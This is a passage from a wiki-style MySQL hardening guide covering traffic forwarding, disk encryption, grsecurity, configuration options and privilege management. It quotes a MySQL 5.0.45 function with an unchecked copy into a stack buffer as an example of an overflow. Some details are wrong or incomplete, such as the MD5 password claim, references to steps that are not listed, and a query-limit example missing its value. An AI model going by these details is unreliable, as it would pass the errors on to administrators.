		--to-destination &amp;lt;address of MySQL server&amp;gt;&lt;br /&gt;
	iptables&lt;br /&gt;
		-t nat&lt;br /&gt;
		-A POSTROUTING&lt;br /&gt;
		-p tcp&lt;br /&gt;
		-d &amp;lt;address of MySQL server&amp;gt;&lt;br /&gt;
		--dport 3306&lt;br /&gt;
		-j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
The statement in line 1 just activates IP packet forwarding in the Linux kernel. The second command activates traffic redirection from the OpenSSH server (where the &amp;lt;tt&amp;gt;iptables&amp;lt;/tt&amp;gt; rulebase is active) to the MySQL database server. Finally, with the third command, we activate masquerading to ensure that responses of the MySQL server are correctly translated and redirected to the calling host (e.g. the MySQL client).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== OpenVPN ====&lt;br /&gt;
&lt;br /&gt;
=== Encrypting raw databases on filesystem level ===&lt;br /&gt;
As long as the MySQL server is up and running, and keeping track of incoming queries to provide stored data, the database files have to be unencrypted and readable. It’s primarily the job of the DMBS, to only allow authorized users to read and/or write data of certain tables.&lt;br /&gt;
&lt;br /&gt;
Nevertheless, if a harddisk (including backups, tapes, etc.) gets stolen, the stored data is world-readable from every external system. If needed, encryption can solve this problem. Using encryption on filesystem level is quite easy in nowadays 2.6 Linux kernels.&lt;br /&gt;
&lt;br /&gt;
The following section contains two different approaches for encrypting the filesystem, for the first one is quite Linux specific and the second one will run on Windows, Linux and OSX.&lt;br /&gt;
&lt;br /&gt;
==== Linux: dmcrypt ====&lt;br /&gt;
The following steps need to have &amp;lt;tt&amp;gt;losetup&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;cryptsetup&amp;lt;/tt&amp;gt; installed on the System, as well as a kernel which has been built with &amp;lt;tt&amp;gt;CONFIG_DM_CRYPT&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;CONFIG_BLK_DEV_DM&amp;lt;/tt&amp;gt; support (which most of the current kernels have). Most Unices offer the use of encryption, but most of them are not platform independent.&lt;br /&gt;
&lt;br /&gt;
MySQL stores its data in the &amp;lt;tt&amp;gt;$MYSQL_CHROOT/data&amp;lt;/tt&amp;gt; directory, we will now encrypt. We will proceed with the following steps:&lt;br /&gt;
&lt;br /&gt;
# We generate a file with completely randomized content, with the maximum size of the MySQL storage tables (in the following example, 100MiB). If the reserved space points out to be too few, we can simply create a bigger one and transfer the encrypted data later.&lt;br /&gt;
# We create a new loopback-device, which is capable of handling our crypted data-image as harddisk partition.&lt;br /&gt;
# We connect the loopback-device with a so called crypto-target, which encrypts everything which is written onto the target, and decrypts everything which is read from the target, as long as the crypto-target is enabled.&lt;br /&gt;
# Format the crypted data container with a filesystem of our choice (ReiserFS in this case).&lt;br /&gt;
# Mount the crypted container, as it’s ready to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
These steps are done via the following commands:&lt;br /&gt;
 # dd if=/dev/urandom of=$MYSQL_CHROOT/data.crypt&lt;br /&gt;
 # losetup /dev/loop0 $MYSQL_CHROOT/data.crypt&lt;br /&gt;
 # cryptsetup -y create mysql_data /dev/loop0&lt;br /&gt;
  Enter passphrase: Passphrase&lt;br /&gt;
  Verify passphrase: Passphrase&lt;br /&gt;
 # mkreiserfs /dev/mapper/mysql_data&lt;br /&gt;
 # mount /dev/mapper/mysql_data $MYSQL_CHROOT/data&lt;br /&gt;
&lt;br /&gt;
Now, before starting up the MySQL database server for everyday use, we have to enforce step 2, 3 and 7. Detailed information about the theoretical backgrounds to cryptography may be found in the wonderful reference of Bruce Schneier [Sch05], as well as [Ert03] and [Wae03]. Information on practical filesystem encryption is found in [Pac05].&lt;br /&gt;
&lt;br /&gt;
==== TrueCrypt ====&lt;br /&gt;
Truecrypt has experienced a large hype in the last years since it's very easy to use, focussed for desktop systems and has a graphical user interface. Nevertheless, my own benchmark tests have proven that TrueCrypt's performance is much slower than &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt;, and the data throughput stagnates at about 40% of what &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt; is capable in terms of performance (this has been tested on an Intel Core2 Duo, 2 x 3.2 GHz, 2GiB RAM on SATA2 harddisks using Linux 2.6.23).&lt;br /&gt;
&lt;br /&gt;
The installation of Truecrypt is quite easy since precompiled binaries are available for all supported platforms, including Linux binaries as well as Debian (and Ubuntu) packages.&lt;br /&gt;
&lt;br /&gt;
When starting the software, an easy-to-use graphical dialog appears which should be quite self-explementory.&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;tt&amp;gt;dmcrypt&amp;lt;/tt&amp;gt;, also Truecrypt offers two possibilities of creating encrypted volumes:&lt;br /&gt;
* Format a whole partition which is to be filled with encrypted content, or&lt;br /&gt;
* creating a fixed-size container achive file; this file will again be looped back to a pseudo-device which can be accessed by the operating system just like a normal partition.&lt;br /&gt;
&lt;br /&gt;
Interestingly, the latter is the faster alternative, according to the corresponding article on the German IT online news magazine heise.de.&lt;br /&gt;
&lt;br /&gt;
=== Non-realtime encryption routines for database backups ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Protection against stack-smashing and other memory corruption attacks ==&lt;br /&gt;
&lt;br /&gt;
=== The main problem with memory ===&lt;br /&gt;
Since MySQL has been written in C (and partly C++), the code is implicitly based upon pointer arithmetics and therefore offers a broad spectrum of possible buffer-overflow vulnerabilities. The most common form of buffer overlows are stack-based smashing attacks, since they're normally much easier to produce than heap-based overflows.&lt;br /&gt;
&lt;br /&gt;
Todays high-level programming languages like Java and C\# follow a conceptional hiding of pointers to the developer, which, spoken generally, leads to more secure code since overflows nearly always sustain upon exploitable pointer structures. Nevertheless I'm going to figure out some possibly insecure code-snippes of the current MySQL version, before describing howto avoid attacks on them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here's an outtake of &amp;lt;tt&amp;gt;mysql-5.0.45/libmysql/libmysql.c:693&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 my_bool STDCALL mysql_change_user(MYSQL *mysql, const char *user, const char *passwd, const char *db) {&lt;br /&gt;
  char buff[512],*end=buff;&lt;br /&gt;
  int rc;&lt;br /&gt;
  DBUG_ENTER(&amp;quot;mysql_change_user&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  if (!user)&lt;br /&gt;
    user=&amp;quot;&amp;quot;;&lt;br /&gt;
  if (!passwd)&lt;br /&gt;
    passwd=&amp;quot;&amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
  /* Store user into the buffer */&lt;br /&gt;
  end=strmov(end,user)+1;&lt;br /&gt;
&lt;br /&gt;
This code is always executed when the calling application intends to change the current MySQL (DBMS-) user. Like shown in line 4, memory for a character buffer &amp;lt;tt&amp;gt;buff&amp;lt;/tt&amp;gt; is statically allocated with a size of 512 bytes. When strings have to be passed to a function, C only passes pointers to the beginning of the string, which should be terminated by a NULL-byte (00000000 binary), to indicate where the string ends. The function &amp;lt;tt&amp;gt;strmov&amp;lt;/tt&amp;gt; at line 14, which does basically the same like ANSI &amp;lt;tt&amp;gt;strcpy&amp;lt;/tt&amp;gt;, copies the username (passed to &amp;lt;tt&amp;gt;mysql_change_user()&amp;lt;/tt&amp;gt;) in the allocated buffer. However, since the size of the corresponding username has never been checked to be less than 512 bytes, this code represents a classical stack-based buffer overflow.&lt;br /&gt;
&lt;br /&gt;
Moreover, C doesn't has a built-in exception management. If a function fails, is in most cases only shown by the return value. Therefore, not checking the return values of certain, possibly critical, and especially memory mapping functions can be very dangerous and may lead to segmentation faults. The following piece of code shows this (&amp;lt;tt&amp;gt;mysql-5.0.45/innobase/log/log0recv.c:3081&amp;lt;/tt&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 log_dir_len = strlen(log_dir);&lt;br /&gt;
 /* reserve space for log_dir, &amp;quot;ib_logfile&amp;quot; and a number */&lt;br /&gt;
 name = memcpy(mem_alloc(log_dir_len + ((sizeof logfilename) + 11)), log_dir, log_dir_len);&lt;br /&gt;
 memcpy(name + log_dir_len, logfilename, sizeof logfilename);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code is part of the InnoDB sources, which attempts to be an journaling ACID-compatible database backend. The developer wants to put the &amp;lt;tt&amp;gt;log_dir&amp;lt;/tt&amp;gt; string into a newly created buffer called &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt;. The memory allocation of &amp;lt;tt&amp;gt;name&amp;lt;/tt&amp;gt; is done within the &amp;lt;tt&amp;gt;memcpy&amp;lt;/tt&amp;gt; call, and the return value is not checked against 0, which would indicate that the memory allocation has failed. In such a situation, the MySQL database server process will probably get killed by the System, since writing to unallocated memory normally leads to a segmentation fault.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Possible solutions: grsecurity under Linux ===&lt;br /&gt;
One possible solution to this problem is &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt;. This software package introduces a couple of patches for the Linux kernel. The most valuable one for our purposes is &amp;lt;tt&amp;gt;PaX&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;PaX&amp;lt;/tt&amp;gt; provides some very desirable functionalities, including:&lt;br /&gt;
* Flagging of certain memory areas (such as the stack of processes) as non-executable. This helps very much since most memory attacks force to corrupt the stack, for this is a quite easy way as compared to exploit vulnerable heap segmets. This means that an exploitation attempt will possibly corrupt the stack, but will not be able to execute arbitrary code, which kind-of guarantees the system's integrity. (However, memory corruptions may lead to software misbehaviour and denial of service).&lt;br /&gt;
* Flagging of memory areas which contain executable machine code as non-writeable. This prevents attacks which are trying to directly access and modify the process' code segment for taking over the execution flow.&lt;br /&gt;
* Providing of ASLR, what means Address Space Layout Randomization. This makes exploitation itself much harder, since most exploits rely on the knowledge of return addresses on the stack (in fact, in most cases, the return pointers of a running procedure which should be overwritten is only estimated; with ASLR, the estimation will be much harder).&lt;br /&gt;
&lt;br /&gt;
Another feature of &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; is Role Based Access Control, what we will not inspect in deeper detail here.&lt;br /&gt;
&lt;br /&gt;
The whole set of patches can be obtained from the [http://www.grsecurity.net/download.php grsecurity] website. The application of the &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; patchset must be done according to the kernel version which should be patched, before recompiling the kernel itself.&lt;br /&gt;
&lt;br /&gt;
The following code demonstrates the download and patching procedure for Linux kernel 2.6.17.7 and &amp;lt;tt&amp;gt;grsecurity&amp;lt;/tt&amp;gt; 2.1.9.&lt;br /&gt;
&lt;br /&gt;
 cd /usr/src&lt;br /&gt;
 wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.17.7.tar.bz2&lt;br /&gt;
 wget http://grsecurity.org/grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz&lt;br /&gt;
 tar -xjvf linux-2.6.17.7.tar.bz2&lt;br /&gt;
 gunzip &amp;lt; grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz | patch -p0&lt;br /&gt;
&lt;br /&gt;
Afterwards, the kernel (and possibly modules) has to be configured and recompiled as normal. The &amp;lt;tt&amp;gt;grsecurityt&amp;lt;/tt&amp;gt;-related options can be found in the section '''Security''' -&amp;gt; '''grsecurity''', which offers several levels of security.&lt;br /&gt;
&lt;br /&gt;
== Security related configuration attributes ==&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;my.cnf&amp;lt;/tt&amp;gt; file may contain a rich set of possible configuration attributes and values, which can change the behaviour of the MySQL server dramatically. The whole file is basically split up into a couple of different sections, each describing the configuration of a specific MySQL executable which is written within brackets, e.g. &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;mysqldump&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;client&amp;lt;/tt&amp;gt;, etc. We will further focus on &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; only. The whole set of configuration attributes can be achieved in the MySQL sample configuration files, usually found in &amp;lt;tt&amp;gt;$MYSQL/support-files/&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Connectivity ===&lt;br /&gt;
Securing a database server strongly depends on what is expected from the server. One of the most important questions is the need for remote access to the service. If our database server is just needed by local services, we can achieve a very effective security enhancement by disabling TCP/IP networking of our MySQL instance. This is done by activating the &amp;lt;tt&amp;gt;skip-networking&amp;lt;/tt&amp;gt; option. If passed, connections are limited to either UNIX sockets or named pipes.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;max_connections&amp;lt;/tt&amp;gt; defines the maximum of concurrent connections to the server. Note that one of the given amount is always reserved for users with SUPER privileges. Related to this, &amp;lt;tt&amp;gt;max_connect_errors&amp;lt;/tt&amp;gt; defines the maximum of errors which may result upon or during connection establishment per user, before he/she is being banned. Setting this value to about 10 should prevent brute-force attacks.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
Turning on the &amp;lt;tt&amp;gt;log&amp;lt;/tt&amp;gt; parameter, makes MySQL enable full query logging. This means, that every MySQL query (even ones with incorrect syntax) is getting logged. This is either good for debugging reasons on the one hand, and very interesting on detecting certain database attacks like SQL-injections on the other hand.&lt;br /&gt;
&lt;br /&gt;
=== Transactions and ACIDness ===&lt;br /&gt;
&amp;lt;tt&amp;gt;transaction_isolation&amp;lt;/tt&amp;gt; defines how MySQL is reacting, if &amp;lt;tt&amp;gt;SELECT&amp;lt;/tt&amp;gt; statements are queried upon possibly uncommitted rows and/or tables (dirty read ). From the security perspective, it’s advisable that this value is set to &amp;lt;tt&amp;gt;REPEATABLE-READ&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;SERIALIZABLE&amp;lt;/tt&amp;gt;, since both ensure ACID-compatiblity.&lt;br /&gt;
&lt;br /&gt;
To guarantee ACID compliance, the instance of MySQL has to use a backend, supporting transactions. This is normally done via the InnoDB engine, so it’s a good idea to set &amp;lt;tt&amp;gt;default_table_type&amp;lt;/tt&amp;gt; to InnoDB. The probably most important factor due to the performance of this storing engine, is the &amp;lt;tt&amp;gt;innodb_buffer_pool_size&amp;lt;/tt&amp;gt;, which caches indexes and row data of InnoDB tables. On a pure high-performance database server, MySQL AB recommends to set this value up to 80% of the available physical memory. In a maximum address-space of 4GiB on a 32 bit architecture, this value may reach more than 3GiB of memory.&lt;br /&gt;
&lt;br /&gt;
=== Others ===&lt;br /&gt;
The MySQL syntax defines a &amp;lt;tt&amp;gt;LOAD DATA&amp;lt;/tt&amp;gt; statement, which provids reading files directly from the filesystem into a table. This command can be very useful for certain administration tasks, but does offer a high potential of attacks. The use of this statement can be prevented by setting &amp;lt;tt&amp;gt;load-infile&amp;lt;/tt&amp;gt; to 0 in the configuration file.&lt;br /&gt;
&lt;br /&gt;
== Inside MySQL: DBMS' access control and privilege management ==&lt;br /&gt;
=== General management table structures ===&lt;br /&gt;
&lt;br /&gt;
MySQL has a built-in access control and privilege management, once more implemented as a relational model in a separate database. Even after freshly installing a database instance, MySQL automatically creates the mysql database which holds 6 tables – 5 of them play a certain role of whether a user is allowed to access database objects (table, row, column, etc) or not. Those access rules may be built upon username, connecting host or the requested database.&lt;br /&gt;
&lt;br /&gt;
[[Image:Mysql_access_control.png|thumb|290px|Schematic presentation of the DMBS' internal accounting and management procedures, as executed by the MySQL database server.]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
&lt;br /&gt;
The user table is the most important one, since it (besides numerous other things) defines users, their passwords, and the hosts they are allowed to connect from, so are the first 3 columns. The host column also accepts wildcards, like % as the regular expression (.*). The password is never stored in plain text, but normally hashed via the MD5 algorithm. Note that a user/host-pair is used as primary key.&lt;br /&gt;
&lt;br /&gt;
After those initial values, the user table is followed by about two dozen boolean values, giving a more granular description of the permissions granted to the user. The names, like &amp;lt;tt&amp;gt;Insert_priv&amp;lt;/tt&amp;gt;, &amp;lt;/tt&amp;gt;Update_priv&amp;lt;/tt&amp;gt;, etc. are self-speaking. Since those rights have no restriction to certain tables or databases, they should be avoided and set to N, whereever possible, for using more restricting levels of access.&lt;br /&gt;
&lt;br /&gt;
When a query is being processed, the permissions of the user table are checked at first, and the query is immediately granted if the user has sufficient permissions on this layer. The following listing completes the available columns of the user table:&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; use mysql;&lt;br /&gt;
 Database changed&lt;br /&gt;
 mysql&amp;gt; desc user;&lt;br /&gt;
 +-----------------------+----------------+------+-----+&lt;br /&gt;
 | Field                 | Type           | Null | Key |&lt;br /&gt;
 +-----------------------+----------------+------+-----+&lt;br /&gt;
 | Host                  | char(60)       | NO   | PRI |&lt;br /&gt;
 | User                  | char(16)       | NO   | PRI |&lt;br /&gt;
 | Password              | char(41)       | NO   |     |&lt;br /&gt;
 | Select_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Insert_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Update_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Delete_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Drop_priv             | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Reload_priv           | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Shutdown_priv         | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Process_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | File_priv             | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Grant_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | References_priv       | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Index_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Alter_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Show_db_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Super_priv            | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_tmp_table_priv | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Lock_tables_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Execute_priv          | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Repl_slave_priv       | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Repl_client_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_view_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Show_view_priv        | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_routine_priv   | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Alter_routine_priv    | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | Create_user_priv      | enum('N','Y')  | NO   |     |&lt;br /&gt;
 | ssl_type              | enum('','ANY','X509','SPECIFIED') | NO   |     |&lt;br /&gt;
 | ssl_cipher            | blob             | NO   |&lt;br /&gt;
 | x509_issuer           | blob             | NO   |&lt;br /&gt;
 | x509_subject          | blob             | NO   |&lt;br /&gt;
 | max_questions         | int(11) unsigned | NO   |&lt;br /&gt;
 | max_updates           | int(11) unsigned | NO   |&lt;br /&gt;
 | max_connections       | int(11) unsigned | NO   |&lt;br /&gt;
 | max_user_connections  | int(11) unsigned | NO   |&lt;br /&gt;
 +-----------------------+------------------+------+&lt;br /&gt;
 37 rows in set (0.01 sec)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As listed, &amp;lt;tt&amp;gt;user&amp;lt;/tt&amp;gt; additionally defines four columns related to cryptographic methods&lt;br /&gt;
like ciphers and certificates, and four columns used for user-specific limitations on&lt;br /&gt;
the database, we will inspect later.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
The &amp;lt;tt&amp;gt;db&amp;lt;/tt&amp;gt; table is checked (only), if the user table doesn’t define enough permissions for a user to fully process the query. db again defines username, connecting host, and numerous privileges on a certain database, given by the column &amp;lt;tt&amp;gt;Db&amp;lt;/tt&amp;gt;. This table is only processed, if&lt;br /&gt;
# the user doesn’t has sufficient permissions in the user table, and&lt;br /&gt;
# the user wants to set up a query on a database, defined in the db table.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;host&amp;lt;/tt&amp;gt; table ====&lt;br /&gt;
This is basically the same as the db table, but acting on actual hosts, the query may come from and may be restricted to.&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;tt&amp;gt;tables_priv&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;columns_priv&amp;lt;/tt&amp;gt; tables ====&lt;br /&gt;
The &amp;lt;tt&amp;gt;tables_priv&amp;lt;/tt&amp;gt; table exactly defines the permissions of users on per-table-basis, who may or may not set up select, insert, update, delete, create, drop, grant, references, index and alter commands. Also the Grantor, the timestamp of the GRANT-statement and of course username, database name and hostname are stored here. This is possibly the table where&lt;br /&gt;
user-based restrictions should be done.&lt;br /&gt;
&lt;br /&gt;
In comparison, the columns_priv table is structured like tables_priv, but holds less permissions and additionally defines a column_name column, telling us to which column the restriction/permission is refering.&lt;br /&gt;
&lt;br /&gt;
=== Access management via SQL ===&lt;br /&gt;
&lt;br /&gt;
All permissions and restrictions stored in the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; database, are classically managed via SQL, mainly using GRANT and REVOKE statements. While GRANT statements usually gives a permission to a user, the corresponding REVOKE statement disallows the user to own this certain permission.&lt;br /&gt;
&lt;br /&gt;
A GRANT statement consists of the permissions which are to be set, as well as the database and table it is refering to, and a user/hostname pair. For example:&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT, UPDATE on mysql.user TO root@localhost IDENTIFIED BY 'password'&lt;br /&gt;
&lt;br /&gt;
The REVOKE command is used adequatly. For a detailed description on GRANT and REVOKE you may consider having a look on the official MySQL reference [Vas04].&lt;br /&gt;
&lt;br /&gt;
There is no big difference between setting up permissions via the tables inside the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; database using DML or typing SQL GRANT and REVOKE statements. However, while the latter version will activate the permissions immediately, privilege settings applied by direct DML, deserve reloading the values. This can be done via FLUSH PRIVILEGES.&lt;br /&gt;
&lt;br /&gt;
There a several privileges only used for database administration, namely&lt;br /&gt;
* PROCESS, allowing the user to perform the processlist command,&lt;br /&gt;
* SHUTDOWN, allowing the user to shutdown the MySQL server via the shutdown command,&lt;br /&gt;
* SUPER, allowing the user to perform the kill command for killing certain MySQL threads,&lt;br /&gt;
* RELOAD, allowing the user to perform &amp;lt;tt&amp;gt;flush-hosts&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-logs&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-privileges&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-status&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-tables&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-threads&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;refresh&amp;lt;/tt&amp;gt; as well as &amp;lt;tt&amp;gt;reload&amp;lt;/tt&amp;gt; commands. It's not recommended ever to give one of those permissions to ordinary users.&lt;br /&gt;
&lt;br /&gt;
Note, that these privileges are commonly not used via SQL-statements, but through using the mysqladmin shell command. This is a security related model, since a user who intends to force privilege escalation atempts on the MySQL server, will not be able to use this commands inside the standard MySQL shell. The above rights should be reduced to an absolute minimum of users.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Setting up the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; password ===&lt;br /&gt;
Outside of the MySQL-shell, the server's administrator is able to execute the program &amp;lt;tt&amp;gt;mysqladmin&amp;lt;/tt&amp;gt;, which allows to set up administrative MySQL-specific tasks outside the DBMS, and partially, even when the database server doesn't actually run.&lt;br /&gt;
&lt;br /&gt;
One of the main tasks you should know about &amp;lt;tt&amp;gt;mysqladmin&amp;lt;/tt&amp;gt; is to set new passwords (typically the password for the root user himself):&lt;br /&gt;
&lt;br /&gt;
 mysqladmin -u root password &amp;lt;password-in-cleartext&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note that username and passwords can have a maximum length of 16 characters each, not more. To perform this task within MySQL, the following SQL-statement would be appropriate:&lt;br /&gt;
&lt;br /&gt;
 UPDATE user SET password = PASSWORD('secret') WHERE user = 'root';&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Tables and security functions ===&lt;br /&gt;
A very useful strategie is to (automatically) include certain security-related information in the main tables of the database model. Assume a table &amp;lt;tt&amp;gt;Customer&amp;lt;/tt&amp;gt;. We will now add a few more columns to this table, providing some logging information:&lt;br /&gt;
  CREATE TABLE Customer (&lt;br /&gt;
    CustomerNo INTEGER AUTO_INCREMENT PRIMARY KEY,&lt;br /&gt;
    Company VARCHAR(100),&lt;br /&gt;
    ...,&lt;br /&gt;
    Created DATETIME,&lt;br /&gt;
    Created_by VARCHAR(80),&lt;br /&gt;
    Updated DATETIME;&lt;br /&gt;
    Updated_by VARCHAR(80),&lt;br /&gt;
    Deleted DATETIME;&lt;br /&gt;
    Deleted_by VARCHAR(80)&lt;br /&gt;
  );&lt;br /&gt;
&lt;br /&gt;
As you may have already found out, we're about to additionally save exactly when who did what on this specific table. You may wonder why the VARCHAR() columns are 80 characters in length while usernames are restricted to a maximum of 16: That's because we'll also save the hostname from which the user is connecting from (max. 60 characters).&lt;br /&gt;
&lt;br /&gt;
When changing this table, the corresponding software should now just set up a statement like:&lt;br /&gt;
  UPDATE Customer&lt;br /&gt;
  SET Company = 'Somename Ltd.',&lt;br /&gt;
    Updated = SYSDATE(),&lt;br /&gt;
    Updated_by = USER()&lt;br /&gt;
  WHERE Company = 'Someothername Ltd.'&lt;br /&gt;
&lt;br /&gt;
If we're about to delete a table, to the same for deletion. It's commonly strongly recommended not to delete anything from an existing database instance. Therefore, when a dataset should be deleted, we just set the deletion date and the user who forced to execute the deletion:&lt;br /&gt;
  UPDATE Customer&lt;br /&gt;
  SET Deleted = SYSDATE(),&lt;br /&gt;
    Deleted_by = USER()&lt;br /&gt;
  WHERE Company = 'Someothername Ltd.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Check table consistencies and repair databases ===&lt;br /&gt;
For tables of type MyISAM (non-ACID) or InnoDB (ACID compliant), MySQL provides CHECK and REPAIR statements for tables. Especially the CHECK-routine can be done in several levels of detail:&lt;br /&gt;
&lt;br /&gt;
 CHECK TABLE Customer [QUICK|FAST|CHANGED|MEDIUM|EXTENDED]&lt;br /&gt;
&lt;br /&gt;
The options differ in several strategies.&lt;br /&gt;
* the QUICK-option will not do any checks on columns, but only basic table-related information&lt;br /&gt;
* the MEDIUM-option performs column-checks (e.g. dead links), and calculates a checksum over key-columns&lt;br /&gt;
* the CHANGED-option only inspects changes made on the table since the last check&lt;br /&gt;
* the EXTENDED-option checks and checksums all columns separately (which can take a while on bigger databases)&lt;br /&gt;
&lt;br /&gt;
Note: Since MySQL 5, also VIEWs can be used with the CHECK statement.&lt;br /&gt;
&lt;br /&gt;
If a table is damaged, consider trying the REPAIR statement.&lt;br /&gt;
  REPAIR TABLE tablename&lt;br /&gt;
&lt;br /&gt;
=== Setting up connection limits ===&lt;br /&gt;
&lt;br /&gt;
As shown in the table description of user, there are several options MySQL offers to limit certain resources of specific users.&lt;br /&gt;
&lt;br /&gt;
This includes three main clauses:&lt;br /&gt;
* The MAX_QUERIES_PER_HOUR clause defines a maximum set of queries which may be processed on per user and per host basis. For example, the statement GRANT SELECT on *.* TO root WITH MAX_QUERIES_PER_HOUR will limit the maximum queries available to user root to an amount of five per hour.&lt;br /&gt;
* MAX_UPDATES_PER_HOUR, controls the maximum amount of DML statements per hour, and&lt;br /&gt;
* MAX_CONNECTIONS_PER_HOUR controls the maximum of connection establishments per hour.&lt;br /&gt;
&lt;br /&gt;
All of those clauses cannot be applied on per-table or per-database basis, since they have to be stated via *.*. Every mentioned limitation is internally represented by counters, corresponding to the time (per hour). Those counter may easily be reset by invoking the command FLUSH USER_RESOURCES (the user which tries to flush, will need the RELOAD privilege). This statement will not remove the defined resource limits, but reset the counters.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
There is no absolute security for applications. The offered methods and technologies mentioned in this paper, can help making the environment much more secure where the MySQL daemon is running.&lt;br /&gt;
&lt;br /&gt;
We may use technologies like sandboxing and virtualization for isolating the MySQL processes from the environment, the database server is running in. This minimizes the possible negative consequences, if the daemon is getting compromised. The deployment and use of cryptographic routines for ciphering physical data and network traffic, reduces the risks of sniffing and man-in-the-middle attacks, as well as securing the whole data covered by the database if the data directory itself gets theft.&lt;br /&gt;
&lt;br /&gt;
A very big disadvantage of using programming languages which explicitely make use of pointers like C or C++, is the possibility of buffer overflows and attacks using this as basis. That’s not a conceptional mistake of MySQL, but makes the spectrum of possible attacks much wider. Using certain external software for checking those leaks is highly recommended. In such a case, the database server will just be terminated - which is not a desirable consequence, but far better than having an up and running but compromised instance.&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
The whole article is mainly based upon the original document Hardening MySQL on Unix-like systems, Erik Sonnleitner 2007, available at [www.delta-xi.net].&lt;br /&gt;
&lt;br /&gt;
* [AB05]      MySQL AB. Inside mysql 5.0 - a dba’s perspective, 2005.&lt;br /&gt;
* [Ale06]     Michael Alexander,  Huehtig, Netzwerke und Netzwerksicherheit. Telekommunikation, 2006. (ISBN 3826650484).&lt;br /&gt;
